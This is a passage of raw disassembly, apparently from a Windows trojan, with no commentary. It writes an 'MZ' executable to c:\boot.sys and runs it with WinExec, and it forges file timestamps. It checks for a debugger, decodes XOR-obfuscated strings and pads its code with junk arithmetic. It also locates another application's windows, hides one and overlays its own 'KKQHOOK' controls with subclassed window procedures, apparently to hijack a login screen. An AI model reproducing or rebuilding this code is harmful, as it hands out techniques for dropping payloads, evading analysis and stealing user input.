call sub_408403 push eax lea edi, [ebp+var_107] push edi call sub_40C6D4 add esp, 10h call sub_40C218 ; GetTickCount push 0 push 0 push 3 push 0 push 0 push 80000001h lea eax, [ebp+var_107] push eax call sub_40C2FC ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_4085BB call sub_40C218 ; GetTickCount lea eax, [ebp+var_231] push eax lea eax, [ebp+var_229] push eax lea eax, [ebp+var_221] push eax push ebx call sub_40C1AC ; GetFileTime mov ax, word_44546A mov [ebp+var_234], ax lea eax, [ebp+var_231] push eax lea eax, [ebp+var_229] push eax lea eax, [ebp+var_221] push eax push [ebp+arg_0] call sub_40C338 ; SetFileTime call sub_40C218 ; GetTickCount push ebx call sub_40C1DC ; CloseHandle loc_4085BB: ; CODE XREF: sub_40849F+C5j pop edi pop esi pop ebx leave retn sub_40849F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4085C0 proc near ; CODE XREF: sub_40A4E2+99p var_230 = dword ptr -230h var_22A = byte ptr -22Ah var_224 = byte ptr -224h var_220 = byte ptr -220h var_219 = dword ptr -219h var_215 = byte ptr -215h var_111 = byte ptr -111h var_105 = byte ptr -105h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 230h push ebx push esi push edi mov eax, dword_44546C mov [ebp+var_219], eax call sub_40C224 ; GetVersion cmp eax, 80000000h jnb loc_408712 mov ebx, 1361h sub ebx, 4C21h lea edi, [ebp+var_111] lea esi, aCBoot_sys ; "c:\\boot.sys" mov ecx, 3 rep movsd lea edi, [ebp+var_220] lea esi, aCjA ; "%CJ a/" mov ecx, 7 rep movsb push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_111] push eax call sub_40C2FC ; CreateFileA mov ebx, eax call sub_40C1B8 ; RtlGetLastWin32Error push 0 lea eax, [ebp+var_224] push eax push 4001h push offset aMzr ; "MZ" push ebx call sub_40C3B0 ; WriteFile push ebx call sub_40849F call sub_40C1F4 ; GetProcessHeap push ebx call sub_40C1DC ; CloseHandle lea edi, [ebp+var_22A] lea esi, aZ ; " < z" mov ecx, 3 rep movsw push 104h lea eax, [ebp+var_104] push eax call sub_40C200 ; GetSystemDirectoryA call sub_40C2B4 ; IsDebuggerPresent push 0Ah push offset aB4I7_ ; "b4\x1B$*#i7.!" call sub_408403 lea edi, [ebp+var_104] push edi push eax lea edi, [ebp+var_215] push edi call sub_40C6B0 mov ebx, 4F6Ah mov eax, 39EEh mul ebx mov [ebp+var_230], eax mov ebx, eax push 1Dh push offset byte_445DD1 call sub_408403 push eax lea edi, [ebp+var_104] push edi call sub_40C6D4 add esp, 28h lea eax, [ebp+var_215] push eax call sub_40C3E0 ; DeleteFileA mov [ebp+var_105], 2Ah movzx eax, [ebp+var_105] imul eax, 4B11h mov [ebp+var_105], al push 0 lea eax, [ebp+var_104] push eax call sub_40C3A4 ; WinExec loc_408712: ; CODE XREF: sub_4085C0+21j pop edi pop esi pop ebx leave retn sub_4085C0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_445514 lea eax, ds:431EA0h[eax] push eax call sub_40C674 add esp, 0Ch xor edi, edi jmp short loc_408753 ; --------------------------------------------------------------------------- loc_40873C: ; CODE XREF: .text:00408755j mov eax, dword_445514 add eax, edi lea eax, ds:431EA0h[eax] movsx edx, byte ptr [eax] xor edx, 8 mov [eax], dl inc edi loc_408753: ; CODE XREF: .text:0040873Aj cmp edi, esi jl short loc_40873C mov eax, dword_445514 add eax, esi mov byte ptr ds:dword_431EA0[eax], 0 xor edi, edi mov edi, dword_445514 mov eax, edi add eax, 6 add eax, esi mov dword_445514, eax inc dword_445514 cmp dword_445514, 0DEBh jle short loc_408793 and dword_445514, 0 loc_408793: ; CODE XREF: .text:0040878Aj lea eax, dword_431EA0[edi] pop edi pop esi pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40879D proc near ; CODE XREF: sub_4088C3+35p arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_40C2B4 ; IsDebuggerPresent push 4 push 1000h push [ebp+arg_0] push 0 call sub_40C368 ; VirtualAlloc jmp short loc_4087BD ; --------------------------------------------------------------------------- call sub_40C188 ; GetCurrentProcessId loc_4087BD: ; CODE XREF: sub_40879D+19j pop ebp retn sub_40879D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087BF proc near ; CODE XREF: sub_4088C3+CDp var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi push edi lea edi, [ebp+var_1] lea esi, dword_445518 xor ecx, ecx inc ecx rep movsb push 8000h push 0 push [ebp+arg_0] call sub_40C374 ; VirtualFree pop edi pop esi leave retn sub_4087BF endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 204h push esi push dword ptr [ebp+8] mov eax, dword_445524 lea eax, ds:439390h[eax] push eax call sub_40C674 add esp, 0Ch mov dword ptr [ebp-8], 132h xor edi, edi jmp short loc_408836 ; --------------------------------------------------------------------------- loc_40881C: ; CODE XREF: .text:00408838j mov eax, dword_445524 add eax, edi lea eax, ds:439390h[eax] movsx edx, byte ptr [eax] xor edx, 0EEh mov [eax], dl inc edi loc_408836: ; CODE XREF: .text:0040881Aj cmp edi, esi jl short loc_40881C mov dword ptr [ebp-0Ch], 12h mov eax, dword_445524 add eax, esi mov byte ptr ds:dword_439390[eax], 0 mov edi, dword_445524 mov eax, edi add eax, 4 add eax, esi mov dword_445524, eax add dword_445524, 3 cmp dword_445524, 0DFFh jle short loc_40887C and dword_445524, 0 loc_40887C: ; CODE XREF: .text:00408873j lea eax, dword_439390[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408886 proc near ; CODE XREF: sub_4088C3+DEp var_5 = byte ptr -5 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push ebx push esi push edi mov ebx, 681Dh add ebx, 0F5Fh push offset dword_4454CC push offset dword_44548C push [ebp+arg_4] push [ebp+arg_0] call sub_40B6E0 lea edi, [ebp+var_5] lea esi, aV2 ; "V& 2" mov ecx, 5 rep movsb pop edi pop esi pop ebx leave retn sub_408886 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088C3 proc near ; CODE XREF: sub_4096E4+459p var_6B = byte ptr -6Bh var_64 = byte ptr -64h var_5C = byte ptr -5Ch var_1C = word ptr -1Ch var_19 = byte ptr -19h var_18 = dword ptr -18h var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 6Ch push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C188 ; GetCurrentProcessId call sub_40C188 ; GetCurrentProcessId lea edi, [ebp+var_64] lea esi, aS91rndu ; "s91RNDU" movsd movsd mov eax, [ebp+arg_4] add eax, 40h jge short loc_4088EF add eax, 3Fh loc_4088EF: ; CODE XREF: sub_4088C3+27j sar eax, 6 mov edi, eax shl edi, 6 push edi call sub_40879D pop ecx mov [ebp+var_18], eax lea edi, [ebp+var_6B] lea esi, aKsh4 ; " KSh/4" mov ecx, 7 rep movsb mov eax, [ebp+arg_4] add eax, 40h jge short loc_40891C add eax, 3Fh loc_40891C: ; CODE XREF: sub_4088C3+54j sar eax, 6 mov edi, eax shl edi, 6 push edi push [ebp+var_18] call sub_40C320 ; RtlZeroMemory call sub_40C1F4 ; GetProcessHeap push [ebp+arg_4] push ebx push [ebp+var_18] call sub_40C674 add esp, 0Ch mov [ebp+var_19], 8Ch add [ebp+var_19], 72h lea eax, [ebp+var_14] push eax call sub_40B81E mov [ebp+var_1C], 5812h inc [ebp+var_1C] mov ebx, [ebp+var_18] and [ebp+var_4], 0 jmp short loc_40897A ; --------------------------------------------------------------------------- loc_408965: ; CODE XREF: sub_4088C3+C8j call sub_40C1F4 ; GetProcessHeap push ebx lea eax, [ebp+var_14] push eax call sub_40B845 add ebx, 40h inc [ebp+var_4] loc_40897A: ; CODE XREF: sub_4088C3+A0j mov eax, [ebp+arg_4] add eax, 40h jge short loc_408985 add eax, 3Fh loc_408985: ; CODE XREF: sub_4088C3+BDj sar eax, 6 cmp [ebp+var_4], eax jl short loc_408965 push [ebp+var_18] call sub_4087BF call sub_40C188 ; GetCurrentProcessId lea eax, [ebp+var_5C] push eax push [ebp+arg_8] call sub_408886 call sub_40C194 ; GetCurrentThreadId mov eax, dword_44551C add eax, 0Eh push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_5C] push eax call sub_40C668 add esp, 18h or eax, eax jz short loc_4089CD xor eax, eax inc eax jmp short loc_4089CF ; --------------------------------------------------------------------------- loc_4089CD: ; CODE XREF: sub_4088C3+103j xor eax, eax loc_4089CF: ; CODE XREF: sub_4088C3+108j pop edi pop esi pop ebx leave retn sub_4088C3 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_445544 lea eax, ds:438380h[eax] push eax call sub_40C674 add esp, 0Ch mov dword ptr [ebp-4], 11Eh xor edi, edi jmp short loc_408A18 ; --------------------------------------------------------------------------- loc_408A01: ; CODE XREF: .text:00408A1Aj mov eax, dword_445544 add eax, edi lea eax, ds:438380h[eax] movsx edx, byte ptr [eax] xor edx, 66h mov [eax], dl inc edi loc_408A18: ; CODE XREF: .text:004089FFj cmp edi, esi jl short loc_408A01 mov eax, dword_445544 add eax, esi mov byte ptr ds:dword_438380[eax], 0 mov edi, dword_445544 mov eax, edi add eax, 4 add eax, esi mov dword_445544, eax add dword_445544, 3 cmp dword_445544, 0DEFh jle short loc_408A57 and dword_445544, 0 loc_408A57: ; CODE XREF: .text:00408A4Ej lea eax, dword_438380[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408A61 proc near ; CODE XREF: sub_4096E4+3C7p ; sub_4096E4+3DFp var_37 = byte ptr -37h var_31 = byte ptr -31h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_26 = word ptr -26h var_23 = byte ptr -23h var_22 = word ptr -22h var_1F = byte ptr -1Fh var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi mov [ebp+var_16], 2123h inc [ebp+var_16] lea edi, [ebp+var_1F] lea esi, aVyfuC_0 ; "+vyfu C" movsd movsd xor eax, eax mov [ebp+var_10], eax mov [ebp+var_14], eax mov [ebp+var_4], eax mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov eax, [ebp+arg_8] add eax, [ebp+var_8] mov [ebp+var_C], eax mov ebx, [ebp+arg_0] jmp loc_408BA8 ; --------------------------------------------------------------------------- loc_408AA1: ; CODE XREF: sub_408A61+152j mov [ebp+var_23], 33h add [ebp+var_23], 1 movsx edi, byte ptr [ebx] shl edi, 2 mov edi, dword_445550[edi] mov [ebp+var_4], edi mov [ebp+var_22], 661Eh movzx eax, [ebp+var_22] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_22], ax cmp edi, 0FFFFFFFFh jz loc_408BA7 mov [ebp+var_26], 8F2h add [ebp+var_26], 3614h mov eax, [ebp+var_10] or eax, eax jl loc_408BA1 cmp eax, 3 jg loc_408BA1 jmp off_445958[eax*4] ; --------------------------------------------------------------------------- mov [ebp+var_31], 0C0h add [ebp+var_31], 6Dh loc_408B05: ; CODE XREF: sub_408A61+95j ; DATA XREF: .data:off_445958o inc [ebp+var_10] jmp loc_408BA1 ; --------------------------------------------------------------------------- loc_408B0D: ; CODE XREF: sub_408A61+95j ; DATA XREF: .data:0044595Co mov edi, [ebp+var_14] shl edi, 2 mov esi, [ebp+var_4] and esi, 30h sar esi, 4 or edi, esi mov edx, edi mov [ebp+var_17], dl mov eax, [ebp+var_8] inc [ebp+var_8] mov dl, [ebp+var_17] mov [eax], dl inc [ebp+var_10] jmp short loc_408BA1 ; --------------------------------------------------------------------------- loc_408B33: ; CODE XREF: sub_408A61+95j ; DATA XREF: .data:00445960o mov edi, [ebp+var_14] and edi, 0Fh shl edi, 4 mov esi, [ebp+var_4] and esi, 3Ch sar esi, 2 or edi, esi mov edx, edi mov [ebp+var_17], dl lea edi, [ebp+var_37] lea esi, a7cx_0 ; "#7CX|" mov ecx, 3 rep movsw mov eax, [ebp+var_8] mov edx, eax inc edx mov [ebp+var_8], edx mov dl, [ebp+var_17] mov [eax], dl inc [ebp+var_10] jmp short loc_408BA1 ; --------------------------------------------------------------------------- loc_408B70: ; CODE XREF: sub_408A61+95j ; DATA XREF: .data:00445964o mov edi, [ebp+var_14] and edi, 3 shl edi, 6 or edi, [ebp+var_4] mov edx, edi mov [ebp+var_17], dl mov [ebp+var_30], 7FF8h mov eax, [ebp+var_30] mov edx, eax add edx, eax mov [ebp+var_30], edx mov eax, [ebp+var_8] inc [ebp+var_8] mov dl, [ebp+var_17] mov [eax], dl and [ebp+var_10], 0 loc_408BA1: ; CODE XREF: sub_408A61+86j ; sub_408A61+8Fj ... mov eax, [ebp+var_4] mov [ebp+var_14], eax loc_408BA7: ; CODE XREF: sub_408A61+6Fj inc ebx loc_408BA8: ; CODE XREF: sub_408A61+3Bj cmp byte ptr [ebx], 0 jz short loc_408BB9 mov eax, [ebp+var_C] cmp [ebp+var_8], eax jb loc_408AA1 loc_408BB9: ; CODE XREF: sub_408A61+14Aj cmp byte ptr [ebx], 0 jnz short loc_408BE7 mov [ebp+var_22], 2AB1h sub [ebp+var_22], 52DFh mov eax, [ebp+var_8] sub eax, [ebp+arg_4] jmp short loc_408BEA ; --------------------------------------------------------------------------- mov dword ptr [ebp-28h], 1FFAh mov eax, 13D0h mul dword ptr [ebp-28h] mov [ebp+var_2C], eax mov [ebp-28h], eax loc_408BE7: ; CODE XREF: sub_408A61+15Bj or eax, 0FFFFFFFFh loc_408BEA: ; CODE XREF: sub_408A61+16Fj pop edi pop esi pop ebx leave retn sub_408A61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408BEF proc near ; CODE XREF: sub_408C98+2Ep ; sub_408C98+48p ... var_1009 = byte ptr -1009h var_1003 = byte ptr -1003h var_4 = word ptr -4 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_40C118 push ebx push esi push edi mov [ebp+var_1], 0D7h movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al push 5 push [ebp+arg_0] call sub_40C410 ; GetWindow mov ebx, eax mov [ebp+var_4], 4FCh inc [ebp+var_4] loc_408C26: ; CODE XREF: sub_408BEF+A2j or ebx, ebx jnz short loc_408C2E xor eax, eax jmp short loc_408C93 ; --------------------------------------------------------------------------- loc_408C2E: ; CODE XREF: sub_408BEF+39j call sub_40C1F4 ; GetProcessHeap lea edi, [ebp+var_1009] lea esi, aNF8 ; "=n`F8" mov ecx, 3 rep movsw push 0FFFh lea eax, [ebp+var_1003] push eax push ebx call sub_40C41C ; GetClassNameA call sub_40C194 ; GetCurrentThreadId mov eax, 8 sub eax, dword_43B094 push eax push [ebp+arg_4] lea eax, [ebp+var_1003] push eax call sub_40181E add esp, 0Ch cmp eax, 0FFFFh jz short loc_408C87 mov eax, ebx jmp short loc_408C93 ; --------------------------------------------------------------------------- loc_408C87: ; CODE XREF: sub_408BEF+92j push 2 push ebx call sub_40C410 ; GetWindow mov ebx, eax jmp short loc_408C26 ; --------------------------------------------------------------------------- loc_408C93: ; CODE XREF: sub_408BEF+3Dj ; sub_408BEF+96j pop edi pop esi pop ebx leave retn sub_408BEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C98 proc near ; CODE XREF: sub_40ADF7+1C0p var_174 = dword ptr -174h var_16F = byte ptr -16Fh var_16C = dword ptr -16Ch var_167 = byte ptr -167h var_166 = byte ptr -166h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = dword ptr -15Ch var_158 = byte ptr -158h var_155 = dword ptr -155h var_151 = byte ptr -151h var_149 = word ptr -149h var_147 = byte ptr -147h var_142 = byte ptr -142h var_141 = byte ptr -141h var_140 = dword ptr -140h var_13A = word ptr -13Ah var_137 = byte ptr -137h var_136 = word ptr -136h var_134 = word ptr -134h var_132 = word ptr -132h var_12F = byte ptr -12Fh var_12E = word ptr -12Eh var_12C = dword ptr -12Ch var_127 = byte ptr -127h var_126 = byte ptr -126h var_125 = byte ptr -125h var_124 = dword ptr -124h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_115 = byte ptr -115h var_114 = word ptr -114h var_112 = dword ptr -112h var_10E = dword ptr -10Eh var_10A = dword ptr -10Ah var_106 = dword ptr -106h var_102 = byte ptr -102h var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 174h push ebx push esi push edi mov [ebp+var_11E], 12F1h add [ebp+var_11E], 5A6Ch push 9 push offset aQuTXud ; "´Ÿ“¿’š•“„" call sub_40129C push eax push [ebp+arg_0] call sub_408BEF mov ebx, eax call sub_40C194 ; GetCurrentThreadId push 8 push offset aIaQvxv ; "µˆ€œŸ‚•‚" call sub_40129C push eax push ebx call sub_408BEF mov ds:dword_41C844, eax mov [ebp+var_114], 6339h movzx eax, [ebp+var_114] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_114], ax push 0 push ds:dword_41C844 call sub_40C500 ; ShowWindow mov [ebp+var_120], 455h movzx eax, [ebp+var_120] imul eax, 3CD3h mov [ebp+var_120], ax lea eax, [ebp+var_112] push eax push ebx call sub_40C3F8 ; GetWindowRect mov [ebp+var_115], 0E2h movzx eax, [ebp+var_115] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_115], al push 0 push ds:dword_41D928 push 0 push ebx mov eax, [ebp+var_106] sub eax, [ebp+var_10E] push eax mov eax, [ebp+var_10A] sub eax, [ebp+var_112] push eax push 0 push 0 push 50800000h push offset byte_446481 push offset aKkqhook ; "KKQHOOK" push 200h call sub_40C50C ; CreateWindowExA mov ds:dword_41EBD4, eax call sub_40C188 ; GetCurrentProcessId push 6 push offset aGdD ; "£¤±¤¹³" call sub_40129C mov [ebp+var_15C], eax push 19h push offset dword_445D94 call sub_40129C push 0 push ds:dword_41D928 push 0 push ds:dword_41EBD4 mov edi, dword_43B098 mov esi, edi add esi, 2Ah push esi mov esi, [ebp+var_10A] sub esi, [ebp+var_112] sub esi, 64h push esi add edi, 2 push edi push edi push 50800000h push eax mov edi, [ebp+var_15C] push edi push 0 call sub_40C50C ; CreateWindowExA mov ds:dword_41C840, eax call sub_40C218 ; GetTickCount push 6 push offset aGdD ; "£¤±¤¹³" call sub_40129C push 0 push ds:dword_41D928 push 0 push ds:dword_41EBD4 mov edi, dword_43B098 add edi, 11Ah push edi mov edi, [ebp+var_10A] sub edi, [ebp+var_112] sub edi, 64h push edi mov edi, dword_43B098 add edi, 3Fh push edi mov edi, dword_43B094 add edi, 0Dh push edi push 50800009h push offset byte_446481 push eax push 0 call sub_40C50C ; CreateWindowExA mov ds:dword_42FCFC, eax mov [ebp+var_124], 25F0h sub [ebp+var_124], 78EFh push 0 push 2 push 0 push 0 push 5 push 1 push 0 push 0 push 0 push 2BCh push 0 push 0 mov eax, 1Ah sub eax, dword_43B098 push eax mov eax, dword_43B094 add eax, 0Dh push eax call sub_40C578 ; CreateFontA mov [ebp+var_140], eax mov [ebp+var_125], 1Ah movzx eax, [ebp+var_125] imul eax, 3B5Bh mov [ebp+var_125], al push 1 push [ebp+var_140] push 30h push ds:dword_41C840 call sub_40C4DC ; SendMessageA call sub_40C1F4 ; GetProcessHeap push 8 push offset aI_1 ; "³¿½²¿²¿¨" call sub_40129C push 0 push ds:dword_41D928 push 0 push ds:dword_42FCFC mov edi, dword_43B098 add edi, 11Ah push edi mov edi, dword_43B098 add edi, 20h push edi mov edi, dword_43B094 add edi, 33h push edi mov edi, dword_43B098 add edi, 2 push edi push 50800003h push offset byte_446481 push eax push 0 call sub_40C50C ; CreateWindowExA mov ds:dword_431E90, eax mov [ebp+var_126], 83h add [ebp+var_126], 1 push 8 push offset aI_1 ; "³¿½²¿²¿¨" call sub_40129C add esp, 48h push 0 push ds:dword_41D928 push 0 push ds:dword_42FCFC mov edi, dword_43B094 add edi, 125h push edi mov edi, dword_43B098 add edi, 2Ah push edi mov edi, dword_43B098 add edi, 28h push edi mov edi, dword_43B098 add edi, 40h push edi push 50800003h push offset byte_446481 push eax push 0 call sub_40C50C ; CreateWindowExA mov ds:dword_41D920, eax mov [ebp+var_127], 0E2h add [ebp+var_127], 0DBh mov [ebp+var_2], 1 jmp loc_40907C ; --------------------------------------------------------------------------- loc_408FDE: ; CODE XREF: sub_408C98+3EBj call sub_40C194 ; GetCurrentThreadId lea edi, [ebp+var_16F] lea esi, a5papg ; "*5pApG&" movsd movsd push 4 push offset aE ; "ÕÞÂ…" call sub_40129C movzx edi, [ebp+var_2] push edi push eax lea edi, [ebp+var_166] push edi call sub_40C6B0 lea eax, [ebp+var_166] push eax push 0 push 143h push ds:dword_431E90 call sub_40C4DC ; SendMessageA mov [ebp+var_167], 39h sub [ebp+var_167], 0D0h push 6 push offset aE_0 ; "ÂÀÕÞÂ…" call sub_40129C movzx edi, [ebp+var_2] add edi, 4 push edi push eax lea edi, [ebp+var_166] push edi call sub_40C6B0 add esp, 28h lea eax, [ebp+var_166] push eax push 0 push 143h push ds:dword_41D920 call sub_40C4DC ; SendMessageA call sub_40C1B8 ; RtlGetLastWin32Error inc [ebp+var_2] loc_40907C: ; CODE XREF: sub_408C98+341j movzx eax, [ebp+var_2] cmp eax, 0Dh jl loc_408FDE push 6 push offset aGdD ; "£¤±¤¹³" call sub_40129C mov [ebp+var_160], eax push 10h push offset aIqevUsvfUeatxv ; "©Ÿ…‚Г‘‚”О…’•‚" call sub_40129C push 0 push ds:dword_41D928 push 0 push ds:dword_41EBD4 mov edi, dword_43B094 add edi, 9 push edi mov edi, dword_43B094 add edi, 60h push edi mov edi, dword_43B098 add edi, 5Ch push edi mov edi, dword_43B094 add edi, 0BCh push edi push 50000000h push eax mov edi, [ebp+var_160] push edi push 0 call sub_40C50C ; CreateWindowExA mov ds:dword_413C98, eax push 6 push offset aGdD ; "£¤±¤¹³" call sub_40129C mov [ebp+var_164], eax push 0Fh push offset aIasvsdsquFsdx ; "µˆ€™‚‘„™ŸžÐ”‘„•" call sub_40129C push 0 push ds:dword_41D928 push 0 push ds:dword_41EBD4 mov edi, dword_43B098 mov esi, 22h sub esi, edi push esi mov edi, dword_43B098 add edi, 45h push edi mov edi, dword_43B098 add edi, 7Fh push edi mov edi, dword_43B098 add edi, 0B1h push edi push 50000000h push eax mov edi, [ebp+var_164] push edi push 0 call sub_40C50C ; CreateWindowExA mov ds:dword_431E88, eax push 6 push offset aGdD ; "£¤±¤¹³" call sub_40129C mov [ebp-168h], eax push 0Ch push offset aDAQfx ; "±¤½Ð ¹¾Ý³Ÿ”•" call sub_40129C push 0 push ds:dword_41D928 push 0 push ds:dword_41EBD4 mov edi, dword_43B098 mov esi, 22h sub esi, edi push esi mov edi, dword_43B098 add edi, 44h push edi mov edi, dword_43B098 add edi, 0A7h push edi mov edi, dword_43B098 add edi, 0B1h push edi push 50000000h push eax mov edi, [ebp-168h] push edi push 0 call sub_40C50C ; CreateWindowExA mov ds:dword_434148, eax lea edi, [ebp+var_141] lea esi, byte_445976 xor ecx, ecx inc ecx rep movsb push 6 push offset aGdD ; "£¤±¤¹³" call sub_40129C mov [ebp+var_16C], eax push 4Ah push offset aEustXDqSedsqvs ; "¥ž‘’œ•ЄŸÐ‘…„˜Ÿ‚™Š•Þб¤½Ð ¹¾Ý³Ÿ”•ЙƒÐ‚•"... call sub_40129C push 0 push ds:dword_41D928 push 0 push ds:dword_41EBD4 mov edi, dword_43B094 add edi, 9 push edi mov edi, dword_43B098 add edi, 1D2h push edi mov edi, dword_43B098 add edi, 0D4h push edi mov edi, dword_43B098 add edi, 0Ch push edi push 50000000h push eax mov edi, [ebp+var_16C] push edi push 0 call sub_40C50C ; CreateWindowExA mov ds:dword_431E8C, eax mov [ebp+var_12C], 43EBh inc [ebp+var_12C] push 6 push offset aGdD ; "£¤±¤¹³" call sub_40129C mov [ebp-170h], eax push 26h push offset aAXsgxAsixUqvvx ; " œ•‘ƒ•Б›•ГŸ‚‚•“„™ŸžƒÐ‘ž”Є‚‰Ð‘—‘™žÞ" call sub_40129C push 0 push ds:dword_41D928 push 0 push ds:dword_41EBD4 mov edi, dword_43B098 mov esi, 22h sub esi, edi push esi mov edi, dword_43B098 add edi, 0EBh push edi mov edi, dword_43B094 add edi, 0F8h push edi mov edi, dword_43B094 add edi, 17h push edi push 50000000h push eax mov edi, [ebp-170h] push edi push 0 call sub_40C50C ; CreateWindowExA mov ds:dword_43937C, eax call sub_40C1B8 ; RtlGetLastWin32Error lea edi, [ebp+var_142] lea esi, byte_445977 xor ecx, ecx inc ecx rep movsb push offset byte_432F80 lea eax, [ebp+var_102] push eax call sub_40C6B0 add esp, 58h call sub_40C1F4 ; GetProcessHeap mov [ebp+var_3], 4 jmp short loc_40933E ; --------------------------------------------------------------------------- loc_40932E: ; CODE XREF: sub_408C98+6ABj movzx eax, [ebp+var_3] mov [ebp+eax+var_102], 78h add [ebp+var_3], 1 loc_40933E: ; CODE XREF: sub_408C98+694j mov al, [ebp+var_3] cmp al, 0Ch jb short loc_40932E mov [ebp+var_12E], 6F86h inc [ebp+var_12E] push 4 push offset aD ; "µ´¹¤" call sub_40129C push 0 push ds:dword_41D928 push 0 push ds:dword_42FCFC mov edi, dword_43B098 add edi, 6 push edi mov edi, dword_43B098 add edi, 70h push edi mov edi, dword_43B094 add edi, 0Dh push edi mov edi, dword_43B098 add edi, 2 push edi push 50800800h lea edi, [ebp+var_102] push edi push eax push 200h call sub_40C50C ; CreateWindowExA mov ds:dword_41076C, eax mov [ebp+var_11C], 97h mov eax, [ebp+var_11C] mov edx, eax add edx, eax mov [ebp+var_11C], edx push 4 push offset aD ; "µ´¹¤" call sub_40129C push 0 push ds:dword_41D928 push 0 push ds:dword_42FCFC mov edi, dword_43B094 add edi, 11h push edi mov edi, dword_43B098 add edi, 34h push edi mov edi, dword_43B094 add edi, 58h push edi mov edi, dword_43B094 add edi, 0Dh push edi push 50800000h push offset byte_446481 push eax push 200h call sub_40C50C ; CreateWindowExA mov ds:dword_41D918, eax push 0 push 78h push 0CCh push eax call sub_40C4DC ; SendMessageA mov [ebp+var_12F], 39h add [ebp+var_12F], 1 push 6 push offset aEdd ; "²¥¤¤¿¾" call sub_40129C mov [ebp+var_174], eax push 16h push offset aSuiUuxDqQudsue ; "³œ™“›Ð¿ž“•ФŸÐ³Ÿž„™ž…•" call sub_40129C add esp, 20h push 0 push ds:dword_41D928 push 0 push ds:dword_41EBD4 mov edi, dword_43B098 add edi, 5 push edi mov edi, dword_43B094 add edi, 94h push edi mov edi, dword_43B098 add edi, 12Eh push edi mov edi, dword_43B098 add edi, 0Ch push edi push 50800000h push eax mov edi, [ebp+var_174] push edi push 0 call sub_40C50C ; CreateWindowExA mov ds:dword_43414C, eax push 0 push 2 push 0 push 0 push 5 push 1 push 0 push 0 push 0 push 190h push 0 push 0 mov eax, 18h sub eax, dword_43B098 push eax mov eax, dword_43B094 add eax, 9 push eax call sub_40C578 ; CreateFontA mov ebx, eax push 1 push ebx push 30h push ds:dword_431E90 call sub_40C4DC ; SendMessageA call sub_40C1B8 ; RtlGetLastWin32Error push 1 push ebx push 30h push ds:dword_41D920 call sub_40C4DC ; SendMessageA lea edi, [ebp+var_147] lea esi, a6K ; "6#,K" mov ecx, 5 rep movsb push 1 push ebx push 30h push ds:dword_41076C call sub_40C4DC ; SendMessageA mov [ebp+var_132], 334h add [ebp+var_132], 4DDCh push 1 push ebx push 30h push ds:dword_41D918 call sub_40C4DC ; SendMessageA mov [ebp+var_134], 31D4h add [ebp+var_134], 70BBh push 1 push ebx push 30h push ds:dword_431E88 call sub_40C4DC ; SendMessageA mov [ebp+var_136], 723h add [ebp+var_136], 5AB8h push 1 push ebx push 30h push ds:dword_413C98 call sub_40C4DC ; SendMessageA call sub_40C218 ; GetTickCount push 1 push ebx push 30h push ds:dword_434148 call sub_40C4DC ; SendMessageA call sub_40C188 ; GetCurrentProcessId push 1 push ebx push 30h push ds:dword_43414C call sub_40C4DC ; SendMessageA call sub_40C188 ; GetCurrentProcessId push 0FFFFFFFCh push ds:dword_431E90 call sub_40C488 ; GetWindowLongA mov ds:dword_41EAC4, eax mov ax, word_44597D mov [ebp+var_149], ax push offset sub_40ACD5 push 0FFFFFFFCh push ds:dword_431E90 call sub_40C494 ; SetWindowLongA lea edi, [ebp+var_151] lea esi, aRjhghl6 ; "RJHGHl6" movsd movsd push 0FFFFFFFCh push ds:dword_41D920 call sub_40C488 ; GetWindowLongA mov ds:dword_41D91C, eax push offset sub_40ACD5 push 0FFFFFFFCh push ds:dword_41D920 call sub_40C494 ; SetWindowLongA mov [ebp+var_137], 4Ch add [ebp+var_137], 1 push 0FFFFFFFCh push ds:dword_41076C call sub_40C488 ; GetWindowLongA mov ds:dword_40DFBC, eax mov eax, dword_445987 mov [ebp+var_155], eax push offset sub_40ACD5 push 